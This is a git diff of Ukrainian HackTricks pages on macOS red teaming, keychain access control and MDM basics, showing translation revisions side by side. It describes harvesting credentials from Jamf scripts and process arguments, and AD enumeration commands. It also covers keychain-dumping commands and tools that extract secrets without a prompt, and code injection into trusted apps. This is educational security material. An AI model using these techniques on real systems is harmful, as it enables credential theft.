<figure><img src="../../.gitbook/assets/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure>
|
||||
|
||||
Ви також можете моніторити розташування `/Library/Application Support/Jamf/tmp/` для **власних сценаріїв**, які адміністратори можуть хотіти виконати через Jamf, оскільки вони **розміщуються тут, виконуються та видаляються**. Ці сценарії **можуть містити облікові дані**.
|
||||
Ви також можете відслідковувати розташування `/Library/Application Support/Jamf/tmp/` для **власних сценаріїв**, які адміністратори можуть хотіти виконати через Jamf, оскільки вони **розміщені тут, виконані та видалені**. Ці сценарії **можуть містити облікові дані**.
|
||||
|
||||
Однак **облікові дані** можуть передаватися через ці сценарії як **параметри**, тому вам потрібно буде моніторити `ps aux | grep -i jamf` (навіть не бути root).
|
||||
Однак **облікові дані** можуть передаватися через ці сценарії як **параметри**, тому вам потрібно відслідковувати `ps aux | grep -i jamf` (навіть не бути root).
|
||||
|
||||
Сценарій [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) може слухати нові файли, які додаються та нові аргументи процесу.
|
||||
Сценарій [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) може слухати нові додані файли та нові аргументи процесу.
|
||||
|
||||
### Віддалений доступ до macOS
|
||||
|
||||
Також про "спеціальні" **мережеві** **протоколи** **MacOS**:
|
||||
Також про **"спеціальні" мережеві** **протоколи** **MacOS**:
|
||||
|
||||
{% content-ref url="../macos-security-and-privilege-escalation/macos-protocols.md" %}
|
||||
[macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md)
|
||||
|
@ -130,14 +133,14 @@ sudo jamf policy -id 0
|
|||
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Деякі **локальні інструменти MacOS**, які також можуть вам допомогти, - це `dscl`:
|
||||
Деякі **локальні інструменти MacOS**, які також можуть вам допомогти, це `dscl`:
|
||||
```bash
|
||||
dscl "/Active Directory/[Domain]/All Domains" ls /
|
||||
```
|
||||
Також є деякі інструменти, підготовлені для MacOS для автоматичного переліку AD та гри з kerberos:
|
||||
|
||||
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound - це розширення для інструменту аудитування Bloodhound, яке дозволяє збирати та вживати взаємовідносини Active Directory на хостах MacOS.
|
||||
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost - це проект на Objective-C, призначений для взаємодії з API Heimdal krb5 на macOS. Метою проекту є покращення тестування безпеки навколо Kerberos на пристроях macOS за допомогою вбудованих API без потреби в будь-якому іншому фреймворку або пакетах на цільовому пристрої.
|
||||
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound - це розширення до інструменту аудиту Bloodhound, яке дозволяє збирати та вживати взаємозв'язки Active Directory на хостах MacOS.
|
||||
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost - це проект на Objective-C, призначений для взаємодії з API Heimdal krb5 на macOS. Метою проекту є забезпечення кращого тестування безпеки навколо Kerberos на пристроях macOS за допомогою вбудованих API без необхідності встановлення будь-якого іншого фреймворку або пакетів на цільовому пристрої.
|
||||
* [**Orchard**](https://github.com/its-a-feature/Orchard): Інструмент JavaScript для автоматизації (JXA) для переліку Active Directory.
|
||||
```bash
|
||||
echo show com.apple.opendirectoryd.ActiveDirectory | scutil
|
||||
|
@ -151,7 +154,7 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
|
|||
* **Мобільні користувачі** — Користувачі Active Directory з локальним резервним копіюванням своїх облікових даних та файлів.
|
||||
|
||||
Локальна інформація про користувачів та групи зберігається в папці _/var/db/dslocal/nodes/Default._\
|
||||
Наприклад, інформація про користувача з ім'ям _mark_ зберігається в _/var/db/dslocal/nodes/Default/users/mark.plist_, а інформація про групу _admin_ знаходиться в _/var/db/dslocal/nodes/Default/groups/admin.plist_.
|
||||
Наприклад, інформація про користувача з ім'ям _mark_ зберігається в _/var/db/dslocal/nodes/Default/users/mark.plist_, а інформація про групу _admin_ — в _/var/db/dslocal/nodes/Default/groups/admin.plist_.
|
||||
|
||||
Крім використання ребер HasSession та AdminTo, **MacHound додає три нові ребра** до бази даних Bloodhound:
|
||||
|
||||
|
@ -183,7 +186,7 @@ dsconfigad -show
|
|||
|
||||
## Доступ до Ключового сховища
|
||||
|
||||
Ключове сховище, ймовірно, містить чутливу інформацію, яка, якщо доступна без виклику запиту, може допомогти в проведенні червоного командного вправи:
|
||||
Ключове сховище, ймовірно, містить чутливу інформацію, яка, якщо отримана без виведення запиту, може допомогти в проведенні червоного командного вправлення:
|
||||
|
||||
{% content-ref url="macos-keychain.md" %}
|
||||
[macos-keychain.md](macos-keychain.md)
|
||||
|
@ -191,15 +194,15 @@ dsconfigad -show
|
|||
|
||||
## Зовнішні сервіси
|
||||
|
||||
Червоний командний редагування MacOS відрізняється від звичайного червоного командного редагування Windows, оскільки зазвичай **MacOS інтегрований з кількома зовнішніми платформами безпосередньо**. Звичайна конфігурація MacOS передбачає доступ до комп'ютера за допомогою **синхронізованих облікових даних OneLogin та доступ до кількох зовнішніх сервісів** (наприклад, github, aws...) через OneLogin.
|
||||
Червоне командне вправлення на MacOS відрізняється від звичайного червоного командного вправлення на Windows, оскільки зазвичай **MacOS інтегрований з кількома зовнішніми платформами безпосередньо**. Звичайна конфігурація MacOS передбачає доступ до комп'ютера за допомогою **синхронізованих облікових даних OneLogin та доступ до кількох зовнішніх сервісів** (наприклад, github, aws...) через OneLogin.
|
||||
|
||||
## Різноманітні техніки червоного командного редагування
|
||||
## Різноманітні техніки червоного командного вправлення
|
||||
|
||||
### Safari
|
||||
|
||||
Коли файл завантажується в Safari, якщо це "безпечний" файл, він буде **автоматично відкритий**. Так, наприклад, якщо ви **завантажуєте zip**, він буде автоматично розпакований:
|
||||
Коли файл завантажується в Safari, якщо це "безпечний" файл, він буде **автоматично відкритий**. Так, наприклад, якщо ви **завантажуєте zip-файл**, він буде автоматично розпакований:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (12) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Посилання
|
||||
|
||||
|
|
|
@ -1,42 +1,57 @@
|
|||
# Ключовий ланцюжок macOS
|
||||
# Ключовий ланцюг macOS
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Школа взлому AWS для Червоної Команди (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Школа взлому GCP для Червоної Команди (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основні ключові ланцюжки
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
* **Ключовий ланцюжок користувача** (`~/Library/Keychains/login.keycahin-db`), який використовується для зберігання **користувацьких облікових даних**, таких як паролі додатків, паролі для Інтернету, сертифікати, паролі мережі та користувацькі пари ключів.
|
||||
* **Системний ключовий ланцюжок** (`/Library/Keychains/System.keychain`), який зберігає **системні облікові дані**, такі як паролі WiFi, кореневі сертифікати системи, приватні ключі системи та паролі додатків системи.
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Доступ до ключового ланцюжка паролів
|
||||
[**WhiteIntel**](https://whiteintel.io) - це пошуковик, який працює на **темному вебі** та надає **безкоштовні** функції для перевірки, чи були **компанія або її клієнти скомпрометовані** **викрадачами шкідливих програм**.
|
||||
|
||||
Ці файли, хоча і не мають вбудованого захисту і можуть бути **завантажені**, зашифровані і вимагають **пароль чистого тексту користувача для розшифрування**. Інструмент, такий як [**Chainbreaker**](https://github.com/n0fate/chainbreaker), може бути використаний для розшифрування.
|
||||
Основною метою WhiteIntel є боротьба з захопленням облікових записів та атаками вимагання викупу, що виникають внаслідок шкідливих програм, які крадуть інформацію.
|
||||
|
||||
## Захист записів ключового ланцюжка
|
||||
Ви можете перевірити їх веб-сайт та спробувати їхній двигун **безкоштовно** за посиланням:
|
||||
|
||||
### ACLs
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
Кожен запис у ключовому ланцюжку керується **Списками керування доступом (ACLs)**, які вказують, хто може виконувати різні дії з записом ключового ланцюжка, включаючи:
|
||||
***
|
||||
|
||||
## Основні ключові ланцюги
|
||||
|
||||
* **Ключовий ланцюг користувача** (`~/Library/Keychains/login.keycahin-db`), який використовується для зберігання **користувацьких облікових даних**, таких як паролі додатків, паролі для Інтернету, сертифікати, паролі мережі та користувацькі публічні/приватні ключі.
|
||||
* **Системний ключовий ланцюг** (`/Library/Keychains/System.keychain`), який зберігає **системні облікові дані**, такі як паролі WiFi, кореневі сертифікати системи, приватні ключі системи та паролі додатків системи.
|
||||
|
||||
### Доступ до ключового ланцюга паролів
|
||||
|
||||
Ці файли, хоча вони не мають вбудованого захисту і можуть бути **завантажені**, зашифровані та вимагають **пароль користувача для розшифрування**. Інструмент, такий як [**Chainbreaker**](https://github.com/n0fate/chainbreaker), може бути використаний для розшифрування.
|
||||
|
||||
## Захист записів ключового ланцюга
|
||||
|
||||
### Списки керування доступом (ACL)
|
||||
|
||||
Кожен запис у ключовому ланцюзі керується **списками керування доступом (ACL)**, які вказують, хто може виконувати різні дії з записом ключового ланцюга, включаючи:
|
||||
|
||||
* **ACLAuhtorizationExportClear**: Дозволяє власнику отримати чіткий текст секрету.
|
||||
* **ACLAuhtorizationExportWrapped**: Дозволяє власнику отримати чіткий текст, зашифрований іншим наданим паролем.
|
||||
* **ACLAuhtorizationExportWrapped**: Дозволяє власнику отримати зашифрований чіткий текст із наданим іншим паролем.
|
||||
* **ACLAuhtorizationAny**: Дозволяє власнику виконувати будь-яку дію.
|
||||
|
||||
ACL супроводжується **списком довірених додатків**, які можуть виконувати ці дії без підказки. Це може бути:
|
||||
ACL супроводжуються **списком довірених додатків**, які можуть виконувати ці дії без підтвердження. Це може бути:
|
||||
|
||||
*  **N`il`** (не потрібно авторизації, **всі довірені**)
|
||||
* Порожній список (**ніхто не довіряється**)
|
||||
* **N`il`** (не потрібно авторизації, **всім довіряють**)
|
||||
* Порожній список (**ніхто не довіряє**)
|
||||
* **Список** конкретних **додатків**.
|
||||
|
||||
Також запис може містити ключ **`ACLAuthorizationPartitionID`,** який використовується для ідентифікації **teamid, apple,** та **cdhash.**
|
||||
|
@ -45,9 +60,9 @@ ACL супроводжується **списком довірених дода
|
|||
* Якщо вказано **apple**, то додаток повинен бути **підписаний Apple**.
|
||||
* Якщо вказано **cdhash**, то додаток повинен мати конкретний **cdhash**.
|
||||
|
||||
### Створення запису ключового ланцюжка
|
||||
### Створення запису ключового ланцюга
|
||||
|
||||
Коли **створюється новий запис** за допомогою **`Keychain Access.app`**, застосовуються наступні правила:
|
||||
При створенні **нового запису** за допомогою **`Keychain Access.app`**, застосовуються наступні правила:
|
||||
|
||||
* Усі додатки можуть шифрувати.
|
||||
* **Жоден додаток** не може експортувати/розшифровувати (без підказки користувача).
|
||||
|
@ -55,7 +70,7 @@ ACL супроводжується **списком довірених дода
|
|||
* Жоден додаток не може змінювати ACL.
|
||||
* **PartitionID** встановлено на **`apple`**.
|
||||
|
||||
Коли **додаток створює запис у ключовому ланцюжку**, правила трохи відрізняються:
|
||||
Коли **додаток створює запис у ключовому ланцюзі**, правила трохи відрізняються:
|
||||
|
||||
* Усі додатки можуть шифрувати.
|
||||
* Тільки **створюючий додаток** (або будь-які інші додатки, які явно додані) можуть експортувати/розшифровувати (без підказки користувача).
|
||||
|
@ -63,7 +78,7 @@ ACL супроводжується **списком довірених дода
|
|||
* Жоден додаток не може змінювати ACL.
|
||||
* **PartitionID** встановлено на **`teamid:[teamID тут]`**.
|
||||
|
||||
## Доступ до ключового ланцюжка
|
||||
## Доступ до ключового ланцюга
|
||||
|
||||
### `security`
|
||||
```bash
|
||||
|
@ -79,21 +94,21 @@ security set-generic-password-parition-list -s "test service" -a "test acount" -
|
|||
### APIs
|
||||
|
||||
{% hint style="success" %}
|
||||
**Перелік ключів та витягування** секретів, які **не викличуть запиту**, можна виконати за допомогою інструменту [**LockSmith**](https://github.com/its-a-feature/LockSmith)
|
||||
**Перелік ключових перелічень та витягування** секретів, які **не викличуть запиту**, можна виконати за допомогою інструменту [**LockSmith**](https://github.com/its-a-feature/LockSmith)
|
||||
{% endhint %}
|
||||
|
||||
Перелік та отримання **інформації** про кожен запис у ключниці:
|
||||
Перелік та отримання **інформації** про кожен запис у ключовому ланцюжку:
|
||||
|
||||
* API **`SecItemCopyMatching`** надає інформацію про кожен запис, і є деякі атрибути, які можна встановити при його використанні:
|
||||
* **`kSecReturnData`**: Якщо true, спробує розшифрувати дані (встановіть false, щоб уникнути можливих спливаючих вікон)
|
||||
* **`kSecReturnRef`**: Отримати також посилання на елемент ключниці (встановіть true у випадку, якщо пізніше ви побачите, що можете розшифрувати без спливаючого вікна)
|
||||
* API **`SecItemCopyMatching`** надає інформацію про кожен запис та є деякі атрибути, які можна встановити при його використанні:
|
||||
* **`kSecReturnData`**: Якщо true, він спробує розшифрувати дані (встановіть false, щоб уникнути можливих спливаючих вікон)
|
||||
* **`kSecReturnRef`**: Отримати також посилання на елемент ключового ланцюжка (встановіть true у випадку, якщо пізніше ви побачите, що ви можете розшифрувати без спливаючого вікна)
|
||||
* **`kSecReturnAttributes`**: Отримати метадані про записи
|
||||
* **`kSecMatchLimit`**: Скільки результатів повернути
|
||||
* **`kSecClass`**: Який тип запису у ключниці
|
||||
* **`kSecClass`**: Який тип запису у ключовому ланцюжку
|
||||
|
||||
Отримання **ACLs** кожного запису:
|
||||
Отримайте **ACLs** кожного запису:
|
||||
|
||||
* За допомогою API **`SecAccessCopyACLList`** ви можете отримати **ACL для елемента ключниці**, і він поверне список ACL (наприклад, `ACLAuhtorizationExportClear` та інші раніше згадані), де кожен список має:
|
||||
* За допомогою API **`SecAccessCopyACLList`** ви можете отримати **ACL для елемента ключового ланцюжка**, і він поверне список ACL (наприклад, `ACLAuhtorizationExportClear` та інші раніше згадані), де кожен список має:
|
||||
* Опис
|
||||
* **Список довірених додатків**. Це може бути:
|
||||
* Додаток: /Applications/Slack.app
|
||||
|
@ -109,39 +124,52 @@ security set-generic-password-parition-list -s "test service" -a "test acount" -
|
|||
|
||||
* Якщо **1+ довірених** додатків перелічено:
|
||||
* Потрібні відповідні **авторизації** (**`Nil`**, або бути **частиною** списку дозволених додатків у авторизації для доступу до конфіденційної інформації)
|
||||
* Потрібно, щоб кодовий підпис відповідав **PartitionID**
|
||||
* Потрібно, щоб кодовий підпис відповідав кодовому підпису одного **довіреного додатку** (або бути членом відповідної групи KeychainAccessGroup)
|
||||
* Потрібно, щоб підпис коду відповідав **PartitionID**
|
||||
* Потрібно, щоб підпис коду відповідав підпису одного **довіреного додатка** (або бути членом правильної групи KeychainAccessGroup)
|
||||
* Якщо **всі додатки довірені**:
|
||||
* Потрібні відповідні **авторизації**
|
||||
* Потрібно, щоб кодовий підпис відповідав **PartitionID**
|
||||
* Потрібно, щоб підпис коду відповідав **PartitionID**
|
||||
* Якщо **немає PartitionID**, тоді це не потрібно
|
||||
|
||||
{% hint style="danger" %}
|
||||
Отже, якщо перелічено **1 додаток**, вам потрібно **впровадити код у цей додаток**.
|
||||
|
||||
Якщо в **PartitionID** вказано **apple**, ви можете отримати до нього доступ за допомогою **`osascript`**, щоб отримати доступ до всього, що довіряє всім додаткам з apple в PartitionID. **`Python`** також може бути використаний для цього.
|
||||
Якщо **apple** вказано в **partitionID**, ви можете отримати до нього доступ за допомогою **`osascript`**, тому все, що довіряє всім додаткам з apple в partitionID. **`Python`** також може бути використаний для цього.
|
||||
{% endhint %}
|
||||
|
||||
### Два додаткові атрибути
|
||||
|
||||
* **Невидимий**: Це булевий прапорець для **приховування** запису від **UI** додатка Keychain
|
||||
* **Невидимий**: Це булевий прапорець для **приховання** запису від програми **UI** Keychain
|
||||
* **Загальний**: Це для зберігання **метаданих** (тому це НЕ ШИФРОВАНО)
|
||||
* Компанія Microsoft зберігала в чистому тексті всі оновлювальні токени для доступу до чутливих кінцевих точок.
|
||||
* Компанія Microsoft зберігала відкритий текст всіх оновлювальних токенів для доступу до чутливих кінцевих точок.
|
||||
|
||||
## Посилання
|
||||
|
||||
* [**#OBTS v5.0: "Lock Picking the macOS Keychain" - Cody Thomas**](https://www.youtube.com/watch?v=jKE1ZW33JpY)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) - це пошуковий двигун, живлений **темним вебом**, який пропонує **безкоштовні** функціональні можливості для перевірки, чи були компанія або її клієнти **пошкоджені** **викрадачами шкідливих програм**.
|
||||
|
||||
Основною метою WhiteIntel є боротьба з захопленням облікових записів та атаками вимагання викупу, що виникають внаслідок шкідливих програм, які крадуть інформацію.
|
||||
|
||||
Ви можете перевірити їх веб-сайт та спробувати їх двигун **безкоштовно** за посиланням:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# macOS MDM
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Школа взлому AWS для Червоної Команди (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Школа взлому GCP для Червоної Команди (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Для вивчення macOS MDM перевірте:**
|
||||
|
||||
|
@ -22,37 +23,40 @@
|
|||
## Основи
|
||||
|
||||
### **Огляд MDM (Mobile Device Management)**
|
||||
[Управління мобільними пристроями](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) використовується для управління різними пристроями кінцевих користувачів, такими як смартфони, ноутбуки та планшети. Особливо для платформ Apple (iOS, macOS, tvOS) воно включає набір спеціалізованих функцій, API та практик. Робота MDM ґрунтується на сумісному MDM-сервері, який може бути комерційно доступним або з відкритим кодом, і повинен підтримувати [протокол MDM](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Ключові аспекти включають:
|
||||
|
||||
- Централізоване керування пристроями.
|
||||
- Залежність від MDM-сервера, який дотримується протоколу MDM.
|
||||
- Здатність MDM-сервера відправляти різні команди на пристрої, наприклад, видалення даних здалеку або встановлення конфігурації.
|
||||
[Управління мобільними пристроями](https://en.wikipedia.org/wiki/Mobile\_device\_management) (MDM) використовується для керування різними пристроями кінцевих користувачів, такими як смартфони, ноутбуки та планшети. Особливо для платформ Apple (iOS, macOS, tvOS) воно включає набір спеціалізованих функцій, API та практик. Робота MDM ґрунтується на сумісному MDM-сервері, який може бути комерційно доступним або з відкритим кодом, і повинен підтримувати [протокол MDM](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Основні аспекти включають:
|
||||
|
||||
### **Основи DEP (Device Enrollment Program)**
|
||||
[Програма реєстрації пристроїв](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP), запропонована Apple, спрощує інтеграцію управління мобільними пристроями (MDM), спрощуючи конфігурацію без дотику для пристроїв iOS, macOS та tvOS. DEP автоматизує процес реєстрації, дозволяючи пристроям бути готовими до використання одразу після розпакування, з мінімальним втручанням користувача або адміністратора. Основні аспекти включають:
|
||||
* Централізований контроль над пристроями.
|
||||
* Залежність від MDM-сервера, який дотримується протоколу MDM.
|
||||
* Здатність MDM-сервера відправляти різні команди на пристрої, наприклад, видалення даних здалеку або встановлення конфігурації.
|
||||
|
||||
- Дозволяє пристроям автономно реєструватися на попередньо визначеному MDM-сервері при початковій активації.
|
||||
- Головним чином корисний для абсолютно нових пристроїв, але також застосовується до пристроїв, які проходять повторну конфігурацію.
|
||||
- Спрощує налаштування, роблячи пристрої готовими до організаційного використання швидко.
|
||||
### **Основи DEP (Програма реєстрації пристроїв)**
|
||||
|
||||
Програма реєстрації пристроїв (DEP), запропонована Apple, спрощує інтеграцію управління мобільними пристроями (MDM), спрощуючи конфігурацію без дотику для пристроїв iOS, macOS та tvOS. DEP автоматизує процес реєстрації, дозволяючи пристроям бути готовими до використання безпосередньо з коробки з мінімальним втручанням користувача або адміністратора. Основні аспекти включають:
|
||||
|
||||
* Дозволяє пристроям автономно реєструватися на попередньо визначений MDM-сервер при початковій активації.
|
||||
* Головним чином корисний для абсолютно нових пристроїв, але також застосовується до пристроїв, які переходять до переконфігурації.
|
||||
* Спрощує налаштування, що дозволяє швидко підготувати пристрої до організаційного використання.
|
||||
|
||||
### **Врахування безпеки**
|
||||
Важливо зауважити, що спрощена реєстрація, надана DEP, хоч і корисна, також може становити ризики для безпеки. Якщо заходи захисту не будуть належним чином забезпечені для реєстрації MDM, зловмисники можуть використовувати цей спрощений процес для реєстрації свого пристрою на MDM-сервері організації, видаючи себе за корпоративний пристрій.
|
||||
|
||||
Важливо зауважити, що спрощена реєстрація, надана DEP, хоч і корисна, також може становити загрозу безпеці. Якщо заходи захисту не будуть належним чином застосовані для реєстрації MDM, зловмисники можуть використовувати цей спрощений процес для реєстрації свого пристрою на MDM-сервері організації, видаючи себе за корпоративний пристрій.
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Попередження про безпеку**: Спрощена реєстрація DEP може потенційно дозволити несанкціоновану реєстрацію пристроїв на MDM-сервері організації, якщо належні заходи захисту не встановлені.
|
||||
**Попередження про безпеку**: Спрощена реєстрація DEP може потенційно дозволити несанкціоновану реєстрацію пристроїв на MDM-сервері організації, якщо не будуть вжиті належні заходи захисту.
|
||||
{% endhint %}
|
||||
|
||||
### Основи Що таке SCEP (Простий протокол реєстрації сертифікатів)?
|
||||
|
||||
* Відносно старий протокол, створений до поширення TLS та HTTPS.
|
||||
* Надає клієнтам стандартизований спосіб надсилання **запиту на підпис сертифіката** (CSR) з метою отримання сертифіката. Клієнт попросить сервер видати йому підписаний сертифікат.
|
||||
* Надає клієнтам стандартизований спосіб надсилання **запиту на підпис сертифіката** (CSR) для отримання сертифіката. Клієнт попросить сервер видати йому підписаний сертифікат.
|
||||
|
||||
### Що таке Профілі конфігурації (також відомі як mobileconfigs)?
|
||||
|
||||
* Офіційний спосіб Apple **встановлення/застосування конфігурації системи.**
|
||||
* Формат файлу, який може містити кілька навантажень.
|
||||
* На основі списків властивостей (типу XML).
|
||||
* "можуть бути підписані та зашифровані для перевірки їх походження, забезпечення їх цілісності та захисту їх вмісту." Основи — Сторінка 70, Посібник з безпеки iOS, січень 2018 року.
|
||||
* Оснований на списках властивостей (типу XML).
|
||||
* "може бути підписаний та зашифрований для перевірки їх походження, забезпечення цілісності та захисту їх вмісту." Основи — Сторінка 70, Посібник з безпеки iOS, січень 2018 року.
|
||||
|
||||
## Протоколи
|
||||
|
||||
|
@ -62,22 +66,22 @@
|
|||
* **Комунікація** відбувається між **пристроєм** та сервером, пов'язаним з **продуктом управління пристроями**
|
||||
